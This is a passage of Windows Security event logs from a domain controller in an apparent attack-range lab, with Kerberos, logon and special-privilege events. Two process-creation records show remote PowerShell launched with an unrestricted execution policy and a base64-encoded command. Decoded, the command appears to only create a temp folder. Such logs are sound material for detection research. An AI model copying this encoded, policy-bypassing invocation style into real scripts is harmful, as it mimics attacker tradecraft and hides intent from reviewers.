	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251104
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127BCE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251103
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127B32

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251102
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x127B32
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64502

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251101
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127B32

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251100
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127AD1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251099
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x127AD1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64501

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251098
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127AD1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251097
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127251

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251096
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127251
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251095
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251094
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251093
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251092
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1164
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11f4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAGcAQQB6AEEAQwA0AEEATwBRAEEAMwBBAEQAQQBBAE8AQQBBADMAQQBEAEkAQQBNAGcAQQB0AEEARABRAEEATwBRAEEANABBAEQAYwBBAE0AdwBBADUAQQBEAEEAQQBOAFEAQQAxAEEARABrAEEATQB3AEEAMwBBAEQAVQBBAE4AdwBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251091
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAGcAQQB6AEEAQwA0AEEATwBRAEEAMwBBAEQAQQBBAE8AQQBBADMAQQBEAEkAQQBNAGcAQQB0AEEARABRAEEATwBRAEEANABBAEQAYwBBAE0AdwBBADUAQQBEAEEAQQBOAFEAQQAxAEEARABrAEEATQB3AEEAMwBBAEQAVQBBAE4AdwBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251090
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127042

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251089
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127042
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
